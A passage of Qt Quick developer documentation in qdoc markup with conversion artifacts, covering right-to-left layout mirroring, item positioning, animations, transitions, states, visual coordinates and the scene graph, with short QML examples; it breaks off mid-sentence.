In right-to-left language speaking cultures, people naturally scan and read graphic elements and text from the right to left. The general rule of thumb is that content (like photos, videos and maps) is not mirrored, but positioning of the content (like application layouts and the flow of visual elements) is mirrored. For example, photos shown in chronological order should flow from right to left, the low end range of the horizontal sliders should be located at the right side of the slider, and text lines should be aligned to the right side of the available text area. The location of visual elements should not be mirrored when the position is related to a content; for example, when a position marker is shown to indicate a location on a map. Also, there are some special cases you may need to take into account where right-to-left language speakers are used to left-to-right positioning, for example when using number dialers in phones and media play, pause, rewind and forward buttons in music players.

\section1 Text Alignment

(This applies to the `\l Text`, `\l TextInput` and `\l TextEdit` types.)

When the horizontal alignment of a text item is not explicitly set, the text element is automatically aligned to the natural reading direction of the text. By default left-to-right text like English is aligned to the left side of the text area, and right-to-left text like Arabic is aligned to the right side of the text area. The alignment of a text element with empty text takes its alignment cue from `\l QInputMethod::inputDirection()`, which is based on the active system locale.

This default locale-based alignment can be overridden by setting the `\c horizontalAlignment` property for the text element, or by enabling layout mirroring using the `\l LayoutMirroring` attached property, which causes any explicit left and right horizontal alignments to be mirrored.

Note that when `\l LayoutMirroring` is set, the `\c horizontalAlignment` property value remains unchanged; the effective alignment of the text element that takes the mirroring into account can be read from the `\c effectiveHorizontalAlignment` property.

`\snippet qml/righttoleft.qml 0`

## `\section1` Layout Direction of Positioners and Views

(This applies to the `\l Row`, `\l Grid`, `\l Flow`, `\l ListView` and `\l GridView` types.)

From Qt Quick 1.1 onwards, types used for horizontal positioning and model views have gained a `\c layoutDirection`

property for controlling the horizontal direction of the layouts. Setting `\c layoutDirection` to

`\c Qt.RightToLeft` causes items to be laid out from the right to left. By default Qt Quick follows

the left-to-right layout direction.

The horizontal layout direction can also be reversed through the `\l LayoutMirroring` attached property.

This causes the effective `\c layoutDirection` of positioners and views to be mirrored. Note the actual value

of the `\c layoutDirection` property will remain unchanged; the effective layout direction of positioners and

views that takes the mirroring into account can be read from the `\c effectiveLayoutDirection` property.

`\snippet qml/righttoleft.qml 1`

## `\section1 Layout Mirroring`

The attached property `\l LayoutMirroring` is provided as a convenience for easily implementing right-to-left

support for existing left-to-right Qt Quick applications. It mirrors the behavior of `\l {anchor-layout}`

`{Item anchors}`, the layout direction of `\l {Item Positioners}{positioners}` and

`\l {qtquick-modelviewsdata-modelview.html}{model views}`, and the explicit text alignment of QML text types.

You can enable layout mirroring for a particular `\l Item`:

`\snippet qml/righttoleft.qml 2`

Or set all child types to also inherit the layout direction:

`\snippet qml/righttoleft.qml 3`

Applying mirroring in this manner does not change the actual value of the relevant anchor, `\c layoutDirection` or `\c horizontalAlignment` properties. The separate read-only property `\c effectiveLayoutDirection` can be used to query the effective layout direction of positioners and model views that takes the mirroring into account. Similarly the `\l Text`, `\l TextInput` and `\l TextEdit` types have gained the read-only property `\c effectiveHorizontalAlignment` for querying the effective visual alignment of text. For anchors, the read only `\l {Item::anchors.top}{anchors.mirrored}` property reflects whether anchors have been mirrored.

Note that application layouts and animations that are defined using `\l {Item::}{x}` property values (as opposed to anchors or positioner types) are not affected by the `\l LayoutMirroring` attached property. Therefore, adding right-to-left support to these types of layouts may require some code changes to your application, especially in views that rely on both the anchors and x coordinate-based positioning. Here is one way to use the `\l LayoutMirroring` attached property to apply mirroring to an item that is positioned using `\l {Item::}{x}` coordinates:

```
\snippet qml/righttoleft.qml 4
```

Not all layouts should necessarily be mirrored. There are cases where a visual type is positioned to the right side of the screen for improved one-handed use, because most people are right-handed, and not because of the reading direction. In the case that a child type should not be affected by mirroring, set the `\l {LayoutMirroring::enabled}{LayoutMirroring.enabled}` property for that type to false.

Qt Quick is designed for developing animated, fluid user interfaces. When mirroring your application, remember to test that

the animations and transitions continue to work as expected. If you do not have the resources to add right-to-left support for your application, it may be better to just keep the application layouts left aligned and just make sure that text is translated and aligned properly.

## \section1 Mirroring Icons

(This applies to \l Image, \l BorderImage and \l AnimatedImage types.)

Most images do not need to be mirrored, but some directional icons, such as arrows, may need to be mirrored.

The painting of these icons can be mirrored with a dedicated \c mirror property introduced in Qt Quick 1.1:

\snippet qml/righttoleft.qml 5

## \section1 Default Layout Direction

The \l {QtQml::Qt::application}{Qt.application.layoutDirection} property can be used to query the active layout direction of the

application. It is based on `QGuiApplication::layoutDirection()`, which most commonly determines the layout

direction from the active language translation file.

To define the layout direction for a particular locale, declare the dedicated string literal

\c QT\_LAYOUT\_DIRECTION in context \c QGuiApplication as either "LTR" or "RTL".

You can do this by first introducing this line

```
\code
```

```
QT_TRANSLATE_NOOP("QGuiApplication", "QT_LAYOUT_DIRECTION");
```

```
\endcode
```

somewhere in your QML source code and calling `lupdate` to generate the translation source file.

```
\code
```

```
lupdate myapp.qml -ts myapp.ts
```

```
\endcode
```

This will append the following declaration to the translation file, where you can fill in either "LTR" or "RTL" as the translation for the locale.

```
\code
```

```
<context>
```

```
  <name>QGuiApplication</name>
```

```
  <message>
```

```
    <location filename="myapp.qml" line="33"/>
```

```
    <source>QT_LAYOUT_DIRECTION</source>
```

```
    <translation type="unfinished">RTL</translation>
```

```
  </message>
```

```
</context>
```

\endcode

You can test that the layout direction works as expected by running your Qt Quick application with the compiled translation file:

\code

```
qmlscene myapp.qml -translation myapp.qm
```

\endcode

You can test your application in right-to-left layout direction simply by executing qmlscene with a command-line parameter "-reverse":

\code

```
qmlscene myapp.qml -reverse
```

\endcode

The layout direction can also be set from C++ by calling the static function `QGuiApplication::setLayoutDirection()`:

\code

```
QGuiApplication app(argc, argv);  
app.setLayoutDirection(Qt::RightToLeft);
```

\endcode

\title Important Concepts In Qt Quick - Positioning

\brief Overview of positioning concepts

Visual items in QML can be positioned in a variety of ways. The most important positioning-related concept is that of anchoring, a form of relative positioning where items can be anchored (or attached) to each other at certain boundaries. Other positioning concepts include absolute positioning, positioning with coordinate bindings, positioners, and layouts.

\section1 Manual Positioning

Items can be positioned manually. If the user-interface is going to be static, manual positioning provides the most efficient form of positioning.

In any user-interface, the visual types exist at a particular location in the screen coordinates at any instant in time. While fluidly animated and dynamic user-interfaces are a major focus of Qt Quick, statically-positioned user interfaces are still a viable option. What's more, if the position of those types does not change, it can often be more performant to specify the position manually than to use the more dynamic positioning methods

documented in proceeding sections.

In Qt Quick, every visual object is positioned within the

`\{Concepts - Visual Coordinates in Qt Quick\}``{coordinate system}`

provided by the Qt Quick visual canvas. As described in that document, the

x and y coordinates of a visual object are relative to those of its visual

parent, with the top-left corner having the coordinate (0, 0).

Thus, the following example will display two rectangles positioned manually:

`\table`

`\header`

`\li Example Code`

`\li Resultant Layout`

`\row`

`\li`

`\qml`

`import QtQuick 2.0`

`Item {`

`width: 200`

`height: 200`

`Rectangle {`

```
x: 50  
y: 50  
width: 100  
height: 100  
color: "green"  
}
```

```
Rectangle {  
  x: 100  
  y: 100  
  width: 50  
  height: 50  
  color: "yellow"  
}
```

```
}
```

```
\endqml
```

```
\li
```

```
\image manual-layout.png
```

```
\endtable
```

## ``` \section1 Positioning With Bindings ```

Items may also be positioned by assigning binding expressions to the properties associated with their location in the visual canvas. This type of positioning is the most highly dynamic, however some performance cost is associated with

positioning items in this manner.

The position and dimensions of a visual object can also be set through property bindings. This has the advantage that the values will automatically be updated as the dependencies of the bindings change. For example, the width of one Rectangle might depend on the width of the Rectangle next to it.

While bindings provide a very flexible and intuitive way of creating dynamic layouts, it should be noted that there is some performance cost associated with them, and where possible, pristine Anchor layouts should be preferred.

## \section1 Anchors

Anchors allows an item to be placed either adjacent to or inside of another, by attaching one or more of the item's anchor-points (boundaries) to an anchor-point of the other. These anchors will remain even if the dimensions or location of one of the items changes, allowing for highly dynamic user-interfaces.

A visual object can be thought of as having various anchor-points (or more correctly, anchor-lines). Other items can be anchored to those points, which means that as any object changes, the other objects which are anchored to it will adjust automatically to maintain the anchoring.

Qt Quick provides anchors as a top-level concept. See the documentation about [\{qtquick-positioning-anchors.html\}](#) for in-depth information on the topic.

It is important to note that anchor-based layouts are generally far more performant than binding-based layouts, if pristine. A "pristine" anchor layout is one which uses only anchors (with object nesting) to determine the positioning, whereas a "contaminated" anchor layout is one which uses both anchoring and bindings (either on position-related [x,y] properties or on dimension-related [width,height] properties) to determine the position.

## \section1 Positioners

Qt Quick also provides some built-in positioner items. For many use cases, the best positioner to use is a simple grid, row, or column, and Qt Quick provides items which will position children in these formations in the most efficient manner possible. See the documentation on [\{qtquick-positioning-layouts.html\}](#) for more information about utilizing pre-defined positioners.

## \section1 Layouts

From Qt 5.1, the module `\{Qt Quick Layouts\}` can also be used to arrange Qt Quick items in a user interface. Unlike positioners, the types in Qt Quick Layouts manage both the positions and sizes of items in a declarative interface. They are well suited for resizable user interfaces.

## \section1 Right-To-Left Support

The directionality of the written form of a language often has a great impact on how the visual types of a user-interface should be positioned. Qt Quick supports right-to-left positioning of types through the predefined-layouts as well as right-to-left text layouts.

Please see the documentation about

\{qtquick-positioning-righttoleft.html}

{right-to-left support in Qt Quick} for in-depth information on the topic.

\ingroup qtquick-transitions-animations

\page qtquick-statesanimations-animations.html

\title Animation and Transitions in Qt Quick

\brief the animation system in Qt Quick

\section1 Animation and Transitions Types

\list

\li \l {Transition} - Animates transitions during state changes

\li \l {SequentialAnimation} - Runs animations sequentially

\li \l {ParallelAnimation} - Runs animations in parallel

\li \l {Behavior} - Specifies a default animation for property changes

\li \l {PropertyAction} - Sets immediate property changes during animation

\li \l {PauseAnimation} - Introduces a pause in an animation

\li \l {SmoothedAnimation} - Allows a property to smoothly track a value

\li \l {SpringAnimation} - Allows a property to track a value in a spring-like motion

\li \l {ScriptAction} - Runs scripts during an animation

\endlist

Types that animate properties based on data types

\annotatedlist qtquick-animation-properties

Animations are created by applying animation types to property values. Animation types will interpolate property values to create smooth transitions. As well, state transitions may assign animations to state changes.

To create an animation, use an appropriate animation type for the type of the property that is to be animated, and apply the animation depending on the type of behavior that is required.

\sa {Qt Quick Examples - Animation}

## \section1 Triggering Animations

There are several ways of setting animation to an object.

## \section2 Direct Property Animation

Animations are created by applying animation objects to property values to gradually change the properties over time. These `{property animations}` apply smooth movements by interpolating values between property value changes. Property animations provide timing controls and allows different interpolations through `{qml-easing-animation}{easing curves}`.

\snippet qml/animation.qml property animation

Specialized property animation types

have more efficient implementations than the `{PropertyAnimation}` type. They are for setting animations to different QML types such as `{int}`, `{color}`, and rotations. Similarly, the `{ParentAnimation}` can animate parent changes.

See the `{qml-controlling-animations}{Controlling Animations}` section for more information about the different animation properties.

## \section2 Using Predefined Targets and Properties

In the previous example, the `PropertyAnimation` and `NumberAnimation` objects needed to specify particular `\l {PropertyAnimation::}{target}` and `\l {PropertyAnimation::}{properties}` values to specify the objects and properties that should be animated. This can be avoided by using the `\e {<Animation> on <Property>}` syntax, which specifies the animation is to be applied as a `\e {property value source}`.

Below are two `PropertyAnimation` objects that are specified using this syntax:

```
\qml
import QtQuick 2.0

Rectangle {
    id: rect

    width: 100; height: 100
    color: "red"

    PropertyAnimation on x { to: 100 }
    PropertyAnimation on y { to: 100 }
}
\endqml
```

The animation starts as soon as the rectangle is loaded, and will automatically be applied to its `\c x` and `\c y` values. Since the `\e {<Animation> on <Property>}` syntax has been used, it is not necessary to set the `\l {PropertyAnimation::}{target}` value of the `PropertyAnimation` objects to

\c rect, and neither is it necessary to set the \l {PropertyAnimation::}{property} values to \c x and \c y.

This can also be used by \l{Playing Animations in Parallel or in Sequence} {grouped animations} to ensure that all animations within a group are applied to the same property. For example, the previous example could instead use SequentialAnimation to animate the rectangle's \c color first to yellow, then to blue:

```
\qml
```

```
import QtQuick 2.0
```

```
Rectangle {
```

```
    width: 100; height: 100
```

```
    color: "red"
```

```
    SequentialAnimation on color {
```

```
        ColorAnimation { to: "yellow"; duration: 1000 }
```

```
        ColorAnimation { to: "blue"; duration: 1000 }
```

```
    }
```

```
}
```

```
\endqml
```

Since the SequentialAnimation object has been specified on the \c color property using the \e {<Animation> on <Property>} syntax, its child ColorAnimation objects

are also automatically applied to this property and do not need to specify

`\{PropertyAnimation::\}{target}` or `\{PropertyAnimation::\}{property}` animation values.

`\keyword qml-transition-animations`

`\section2 Transitions during State Changes`

`\{State\}`{Qt Quick States} are property configurations where a property may have different values to reflect different states. State changes introduce

abrupt property changes; animations smooth transitions to produce visually appealing state changes.

The `\{Transition\}` type can contain animation types to interpolate property changes caused by state changes. To assign the transition to an object, bind it to the `\c transitions` property.

A button might have two states, the `\c pressed` state when the user clicks on the button and a `\c released` state when the user releases the button. We can assign different property configurations for each state. A transition would animate the change from the `\c pressed` state to the `\c released` state. Likewise, there would be an animation during the change from the `\c released` state to the `\c pressed` state.

`\snippet qml/animation.qml transition animation`

Binding the `\c to` and `\c from` properties to the state's name will assign that particular transition to the state change. For simple or symmetric transitions, setting the `\c to` property to the wild card symbol, "`\c{*}`", denotes that the transition applies to any state change.

`\snippet qml/animation.qml wildcard animation`

## `\section2 Default Animation as Behaviors`

Default property animations are set using `\e {behavior animations}`. Animations declared in `\l {Behavior}` types apply to the property and animates any property value changes. However, Behavior types have an `\c enabled` property to purposely enable or disable the behavior animations.

A ball component might have a behavior animation assigned to its `\c x`, `\c y`, and `\c color` properties. The behavior animation could be set up to simulate an elastic effect. In effect, this behavior animation would apply the elastic effect to the properties whenever the ball moves.

`\snippet qml/animation.qml behavior animation`

There are several methods of assigning behavior animations to properties. The `\c{Behavior on <property>}` declaration is a convenient way of assigning a behavior animation onto a property.

See the [Qt Quick Examples - Animation](#) for a demonstration of behavioral animations.

## 1 Playing Animations in Parallel or in Sequence

Animations can run `in parallel` or `in sequence`. Parallel animations will play a group of animations at the same time while sequential animations play a group of animations in order: one after the other. Grouping animations in `SequentialAnimation` and `ParallelAnimation` will play the animations in sequence or in parallel.

A banner component may have several icons or slogans to display, one after the other. The `opacity` property could transform to `1.0` denoting an opaque object. Using the `SequentialAnimation` type, the opacity animations will play after the preceding animation finishes. The `ParallelAnimation` type will play the animations at the same time.

### animation.qml sequential animation

Once individual animations are placed into a `SequentialAnimation` or `ParallelAnimation`, they can no longer be started and stopped independently. The sequential or parallel animation must be started and stopped as a group.

The `SequentialAnimation` type is also useful for playing `qml-transition-animations` because animations are

played in parallel inside transitions.

\keyword qml-controlling-animations

\section1 Controlling Animations

There are different methods to control animations.

\section2 Animation Playback

All animation types inherit from the \l Animation type. It is not possible to create \l Animation objects; instead, this type provides the essential properties and methods for animation types. Animation types have \c{start()}, \c{stop()}, \c{resume()}, \c{pause()}, \c{restart()}, and \c{complete()} -- all of these methods control the execution of animations.

\keyword qml-easing-animation

\section2 Easing

Easing curves define how the animation will interpolate between the start value and the end value. Different easing curves might go beyond the defined range of interpolation. The easing curves simplify the creation of animation effects such as bounce effects, acceleration, deceleration, and cyclical animations.

A QML object may have different easing curve for each property animation. There are also different parameters to control the curve, some of which are exclusive to a particular curve. For more information about the easing curves, visit the

\l {PropertyAnimation::easing.type}{easing} documentation.

The \l{animation/easing}{easing example} visually demonstrates each of the different easing types.

## \section2 Other Animation Types

In addition, QML provides several other types useful for animation:

\list

\li PauseAnimation: enables pauses during animations

\li ScriptAction: allows JavaScript to be executed during an animation, and can be used together with StateChangeScript to reused existing scripts

\li PropertyAction: changes a property \e immediately during an animation, without animating the property change

\endlist

These are specialized animation types that animate different property types

\list

\li SmoothedAnimation: a specialized NumberAnimation that provides smooth changes in animation when the target value changes

\li SpringAnimation: provides a spring-like animation with specialized attributes such as \l {SpringAnimation::}{mass},

\l{SpringAnimation::}{damping} and \l{SpringAnimation::}{epsilon}

\li ParentAnimation: used for animating a parent change (see ParentChange)

\li AnchorAnimation: used for animating an anchor change (see AnchorChanges)

\endlist

## \section1 Sharing Animation Instances

Sharing animation instances between Transitions or Behaviors is not supported, and may lead to undefined behavior. In the following example, changes to the Rectangle's position will most likely not be correctly animated.

\qml

```
Rectangle {  
    // NOT SUPPORTED: this will not work correctly as both Behaviors  
    // try to control a single animation instance  
    NumberAnimation { id: anim; duration: 300; easing.type: Easing.InBack }  
    Behavior on x { animation: anim }  
    Behavior on y { animation: anim }  
}  
\endqml
```

The easiest fix is to repeat the NumberAnimation for both Behaviors. If the repeated animation is rather complex, you might also consider creating a custom animation component and assigning an instance to each Behavior, for example:

\qml

```
// MyNumberAnimation.qml
```

```
NumberAnimation { id: anim; duration: 300; easing.type: Easing.InBack }
```

```
\endqml
```

```
\qml
```

```
// main.qml
```

```
Rectangle {
```

```
    Behavior on x { MyNumberAnimation {} }
```

```
    Behavior on y { MyNumberAnimation {} }
```

```
}
```

```
\endqml
```

\page qtquick-statesanimations-behaviors.html

\title Using Qt Quick Behaviors with States

\brief animating property changes with behaviors

\section1 Using Behaviors with States

In some cases you may choose to use a Behavior to animate a property change caused by a state change. While this works well for some situations, in other situations it may lead to unexpected behavior.

Here's an example that shows the problem:

\qml

import QtQuick 2.0

Rectangle {

width: 400

height: 400

Rectangle {

id: coloredRect

width: 100

height: 100

anchors.centerIn: parent

color: "red"

Behavior on color {

ColorAnimation {}

}

MouseArea {

id: mouser

anchors.fill: parent

hoverEnabled: true

}

```

states: State {
    name: "GreenState"
    when: mouser.containsMouse

    PropertyChanges {
        target: coloredRect
        color: "green"
    }
}
}
}
\endqml

```

Testing the example by quickly and repeatedly moving the mouse in to and out of the colored rectangle shows that the colored rectangle will settle into a green color over time, never returning to full red. This is not what we wanted! The

problem occurs because we have used a Behavior to animate the change in color, and our state change is triggered by the mouse entering or exiting the MouseArea, which is easily interrupted.

To state the problem more formally, using States and Behaviors together can cause unexpected behavior when:

\list

- \li a Behavior is used to animate a property change, specifically when moving from an explicitly defined state back to the implicit base state; and

- \li this Behavior can be interrupted to (re-)enter an explicitly defined state.

\endlist

The problem occurs because of the way the base state is defined for QML: as the "snapshot" state of the application just prior to entering an explicitly defined state. In this case, if we are in the process of animating from green back

to red, and interrupt the animation to return to "GreenState", the base state will include the color in its intermediate, mid-animation form.

While future versions of QML should be able to handle this situation more gracefully, there are currently several ways to rework your application to avoid this problem.

1. Use a transition to animate the change, rather than a Behavior.

```
\qml
```

```
import QtQuick 2.0
```

```
Rectangle {
```

```
    width: 400
```

```
    height: 400
```

```
    Rectangle {
```

```
        id: coloredRect
```

```
        width: 100
```

```
        height: 100
```

```
        anchors.centerIn: parent
```

```
        color: "red"
```

```
    MouseArea {
```

```

        id: mouser

        anchors.fill: parent

        hoverEnabled: true
    }

    states: State {
        name: "GreenState"

        when: mouser.containsMouse

        PropertyChanges {
            target: coloredRect
            color: "green"
        }
    }

    transitions: Transition {
        ColorAnimation {}
    }
}

\endqml

```

2. Use a conditional binding to change the property value, rather than a state

```
\qml
```

```
import QtQuick 2.0
```

```
Rectangle {
```

```
    width: 400
```

```
    height: 400
```

```
    Rectangle {
```

```
        id: coloredRect
```

```
        width: 100
```

```
        height: 100
```

```
        anchors.centerIn: parent
```

```
        color: mouser.containsMouse ? "green" : "red"
```

```
        Behavior on color {
```

```
            ColorAnimation {}
```

```
        }
```

```
    MouseArea {
```

```
        id: mouser
```

```
        anchors.fill: parent
```

```
        hoverEnabled: true
```

```
    }
```

```
}
```

```
}
```

```
\endqml
```

3. Use only explicitly defined states, rather than an implicit base state

```
\qml
```

```
import QtQuick 2.0
```

```
Rectangle {
```

```
    width: 400
```

```
    height: 400
```

```
    Rectangle {
```

```
        id: coloredRect
```

```
        width: 100
```

```
        height: 100
```

```
        anchors.centerIn: parent
```

```
        Behavior on color {
```

```
            ColorAnimation {}
```

```
        }
```

```
    MouseArea {
```

```
        id: mouser
```

```
        anchors.fill: parent
```

```
        hoverEnabled: true
```

```
    }
```

```

states: [
  State {
    name: "GreenState"

    when: mouser.containsMouse

    PropertyChanges {
      target: coloredRect
      color: "green"
    }
  },
  State {
    name: "RedState"

    when: !mouser.containsMouse

    PropertyChanges {
      target: coloredRect
      color: "red"
    }
  }
]
}
}
\endqml

*/

```

\ingroup qtquick-states

\page qtquick-statesanimations-states.html

\title Qt Quick States

\brief Creating and setting states

\section1 Related Types

\generatelist{related}

Many user interface designs are \e{state driven}; interfaces have configurations that differ depending on the current state. For example, a traffic signal will configure its flags or lights depending on its state. While in the signal's \c stop state, a red light will turn on while the yellow and the green lights will turn off. In the \c caution state, the yellow light is on while the other lights are turned off.

In QML, \e states are a set of property configurations defined in a \l State type. Different configurations could, for example:

\list

\li Show some UI components and hide others

\li Present different available actions to the user

- \li Start, stop, or pause animations
- \li Execute some script required in the new state
- \li Change a property value for a particular item
- \li Show a different view or screen

\endlist

All \l {Item}-based objects have a \c state property, and can specify additional states by adding new \c State objects to the item's \l {Item::}{states} property. Each state within a component has a unique \c name, an empty string being the default. To change the current state of an item, set the \l {Item::}{state} property to the name of the state.

Non-Item objects may use states through the \l StateGroup type.

## \section1 Creating States

To create a state, add a \l State object to the item's \l {Item::}{states} property, which holds a list of states for that item.

A warning \c signal component may have two states, the \c NORMAL and the \c CRITICAL state. Suppose that in the \c NORMAL state, the \c color of the signal should be \c green and the warning \c flag is down. Meanwhile, in the \c CRITICAL state, the \c color should be \c red and the flag is \c up. We may model the states using the \c State type and the color and flag configurations with the \c PropertyChanges type.

\snippet qml/states.qml signal states

The `\I PropertyChanges` type will change the values of object properties.

Objects are referenced through their

`\{qtqml-syntax-objectattributes.html#the-id-assignment}{id}`. Objects outside the component are also referenced using the `\c id` property, exemplified by the property change to the external `\c flag` object.

Further, the state may change by assigning the `\c state` property with the appropriate signal state. A state switch could be in a `\I MouseArea` type, assigning a different state whenever the signal receives a mouse click.

\snippet qml/states.qml switch states

The `State` type is not limited to performing modifications on property values.

It can also:

\list

\li Run some script using `\I StateChangeScript`

\li Override an existing signal handler for an object using `\I PropertyChanges`

\li Re-parent an `\I Item` using `\I ParentChange`

\li Modify anchor values using `\I AnchorChanges`

\endlist

## \section1 The Default State

Every `\I Item` based component has a `\c state` property and a `\e{default state}`.

The default state is the empty string (`\c{""}`) and contains all of an item's

initial property values. The default state is useful for managing property values before state changes. Setting the `\c state` property to an empty string will load the default state.

## `\section1 The \c when Property`

For convenience, the `\l State` type has a `\c when` property that can bind to expressions to change the state whenever the bound expression evaluates to `\c true`. The `\c when` property will revert the state back to the `\l {The Default State}{default state}` when the expression evaluates to false.

`\snippet qml/states.qml when property`

The `\c bell` component will change to the `\c RINGING` state whenever the `\c signal.state` is `\c CRITICAL`.

## `\section1 Animating State Changes`

State changes induce abrupt value changes. The `\l Transition` type allow smoother changes during state changes. In transitions, animations and interpolation behaviors are definable. The

`\l {qtquick-statesanimations-animations.html}`

`{Animation and Transitions}` article has more information about creating state animations.

The `\l {animation/states}{States and Transitions example}`

demonstrates how to declare a basic set of states and apply animated transitions between them.

[\{qtquick-statesanimations-behaviors.html\}](#){Using Qt Quick Behaviors with States}

explains a common problem when using Behaviors to animate state changes.

## \section1 State Fast Forwarding

In order for Transition to correctly animate state changes, it is sometimes necessary for the engine to fast forward and rewind a state (that is, internally set and unset the state) before it is finally applied. The process is as follows:

\list 1

\li The state is fast forwarded to determine the complete set of end values.

\li The state is rewound.

\li The state is fully applied, with transitions.

\endlist

In some cases this may cause unintended behavior. For example, a state that changes a view's \e model or a Loader's \e sourceComponent will set these properties multiple times (to apply, rewind, and then reapply), which can be relatively expensive.

State fast forwarding should be considered an implementation detail, and may change in later versions.

\title Important Concepts in Qt Quick - States, Transitions and Animations
```

```
\brief Description of the concepts of states, transitions and animations in Qt Quick
```

In any modern user-interface, transitioning between states and animating the user-interface is highly beneficial. These are first-class concepts in Qt Quick.

This page describes the concept of states, state transitions, and property animations. It details which concepts are important and why, and how those concepts interrelate. It also provides links to in-depth detail about the QML types that Qt Quick provides to implement those concepts.

```
\section1 States
```

The state of a particular visual item is the set of information which describes how and where the individual component parts of the visual item are displayed within it, and all the data associated with that state. Most visual items in a user-interface will have a limited number of states, each with well-defined properties.

For example, an element in a list may be either selected or not, and if selected, it may either be the currently active single selection or it may be part of a selection group.

Each of those states may have certain associated visual appearance (neutral, highlighted, expanded, and so forth).

Qt Quick provides a `State` type with properties which define its semantics and can be used to trigger behavior or animations. See the documentation about [Qt Quick States](#) for more information.

## Transitions

When a visual item transitions from one state to another, the appearance of that item will change. A transition is an "edge" between two states. It may trigger other events to occur, as other parts of the application may have behavior which is triggered when a certain state is entered or left.

Qt Quick provides the `Transition` type which has properties which define what will occur when the application changes from one state to another. See the documentation on [transitions-during-state-changes](#) for more information about transitions.

## \section1 Animations

When transitioning between states, a fluid animation can be used to aid the user during the transition. Abrupt and unexpected changes to the visual canvas result in a suboptimal user-experience and should be avoided.

If an element in a list becomes selected, the color change (from neutral to highlighted) can be animated. If the position of the element in the list is changed, it can be moved in a fluidly animated fashion so that the eye of the user can track the change.

These types of animations are supported in Qt Quick through various animation and transition types. See the documentation on

`\{qtquick-statesanimations-animations.html}`

`{Animations and Transitions In Qt Quick}` for information about these types and how to use them.

## \section1 Animating Property Assignments

Animations are not only related to states and transitions between states. For example, an animation might be triggered by other events, which are not associated with a distinct state.

It is often beneficial to always animate changes to certain properties of visual items, regardless of the cause of the change (for example, opacity effects). Qt Quick provides the `Behavior` type which allows the client to specify animation behavior for changes to properties. The `Behavior` type is an example of a QML object

[\{qtqml-cppintegration-definetypes.html#property-modifier-types}](#)  
{property modifier}.

Please see the documentation about

[\{qtquick-statesanimations-animations.html#default-animation-as-behaviors}](#)  
{default property animations} for more information about using the `Behavior` type to provide default property change animations.

It is important to note, that using default property animations (via the `Behavior` type) in combination with state-transition animations can sometimes result in undefined behavior occurring. Please see the documentation about [\{qtquick-statesanimations-behaviors.html}](#) {using Qt Quick Behaviors with States} for more information about this topic.

## `\section1 Animators`

The `Animator` types are a special type of animation which bypass the QML objects and operate directly on the primitives in the `Qt Quick Scene Graph`{scene graph}. This has the benefit that the `Animator` based animations can be run on the scene graph's rendering thread

(when applicable) and can continue to animate even when UI is otherwise blocked.

Qt Quick provides the following Animator types:

\list

\li \l {XAnimator} - Animates the horizontal position of an \l {Item}.

\li \l {YAnimator} - Animates the vertical position of an \l {Item}.

\li \l {ScaleAnimator} - Animates the scale factor of an \l {Item}.

\li \l {RotationAnimator} - Animates the rotation of an \l {Item}.

\li \l {OpacityAnimator} - Animates the opacity of an \l {Item}.

\li \l {UniformAnimator} - Animates a uniform in a \l {ShaderEffect}.

\endlist

## \section1 Animated Sprites

The concept of animated sprites is separate to the concept of animations as used elsewhere on this page. If you want to create or use an animated image or sprite, please see the documentation about [\{qtquick-effects-sprites.html\}](#){sprite animations}.

\page qtquick-visualcanvas-coordinates.html

\title Concepts - Visual Coordinates in Qt Quick

\brief Description of the concept of visual coordinates in Qt Quick

## \section1 Item Coordinates

The default system of visual coordinates used in Qt Quick is item coordinates. This is a cartesian coordinate system

with (0,0) at the top left corner of the item. The x-axis grows to the right and the y-axis grows downwards, so that

the bottom right corner of the item is at coordinates (width, height).

An individual item's position is specified in terms of its parent's coordinate system. This means that reading x,y

values from non-sibling items may require conversion to convert them into the same coordinate system. Scene

coordinates are often used as the intermediate coordinate system when this occurs.

## \section1 Scene Coordinates

Scene coordinates are the coordinates where (0,0) corresponds to the top left corner of the window the scene is

currently being rendered. Scene coordinates are usually the same as the item coordinates of the root item in the

window.

You can convert from item to scene coordinates using the functions on the item whose coordinate system you are

interested in. See \l Item::mapFromItem and \l Item::mapToItem for converting to scene coordinates, or another item's

coordinates.

## \section1 Worked Example

The below QML code creates an arrangement of squares, with dots added for identification of points:

\code

```
Rectangle {
```

```
    width: 200
```

```
    height: 200
```

```
    color: "red"
```

```
    Rectangle {
```

```
        x: 100
```

```
        y: 100
```

```
        width: 100
```

```
        height: 100
```

```
        color: "blue"
```

```
    Rectangle {
```

```
        width: 50
```

```
        height: 50
```

```
        color: "green"
```

```
    }
```

```
}
```

```
}
```

\endcode

\image visual-coordinates-example.png

In this image the black dot is positioned at (0,0) within the item coordinates of the red rectangle. If the red

rectangle was the root item of the scene, then the black dot would also be positioned at (0,0) in scene coordinates.

The blue rectangle is positioned at the white dot, (100,100), relative to the red rectangle's top left corner.

The green rectangle has no x,y specified, so its position defaults to (0,0). Because it is at (0,0) in the coordinates of its parent,

the blue rectangle, it is positioned at the top left corner of that rectangle. This is the same point as the white dot at

(100,100) in the coordinates of the red rectangle.

\title Qt Quick Scene Graph

\page qtquick-visualcanvas-scenegraph.html

\section1 The Scene Graph in Qt Quick

Qt Quick 2 makes use of a dedicated scene graph based on OpenGL ES 2.0

or OpenGL 2.0 for its rendering. Using a scene graph for graphics rather than the traditional imperative painting systems (QPainter and similar), means the scene to be rendered can be retained between frames and the complete set of primitives to render is known before rendering starts. This opens up for a number of optimizations, such as batch rendering to minimize state changes and discarding obscured primitives.

For example, say a user-interface contains a list of ten items where each item has a background color, an icon and a text. Using the traditional drawing techniques, this would result in 30 draw calls and a similar amount of state changes. A scene graph, on the other hand, could reorganize the primitives to render such that all backgrounds are drawn in one call, then all icons, then all the text, reducing the total amount of draw calls to only 3. Batching and state change reduction like this can greatly improve performance on some hardware.

The scene graph is closely tied to Qt Quick 2.0 and can not be used stand-alone. The scene graph is managed and rendered by the QQuickWindow class and custom Item types can add their graphical primitives into the scene graph through a call to `QQuickItem::updatePaintNode()`.

The scene graph is a graphical representation of the Item scene, an independent structure that contains enough information to render all

the items. Once it has been set up, it can be manipulated and rendered independently of the state of the items. On many platforms, the scene graph will even be rendered on a dedicated render thread while the GUI thread is preparing the next frame's state.

## \section1 Qt Quick Scene Graph Structure

The scene graph is composed of a number of predefined node types, each serving a dedicated purpose. Although we refer to it as a scene graph, a more precise definition is node tree. The tree is built from QQuickItem types in the QML scene and internally the scene is then processed by a renderer which draws the scene. The nodes themselves do not contain any active drawing code nor virtual paint() function.

Even though the node tree is mostly built internally by the existing Qt Quick QML types, it is possible for users to also add complete subtrees with their own content, including subtrees that represent 3D models.

## \section2 Nodes

The most important node for users is the QSGGeometryNode. It is

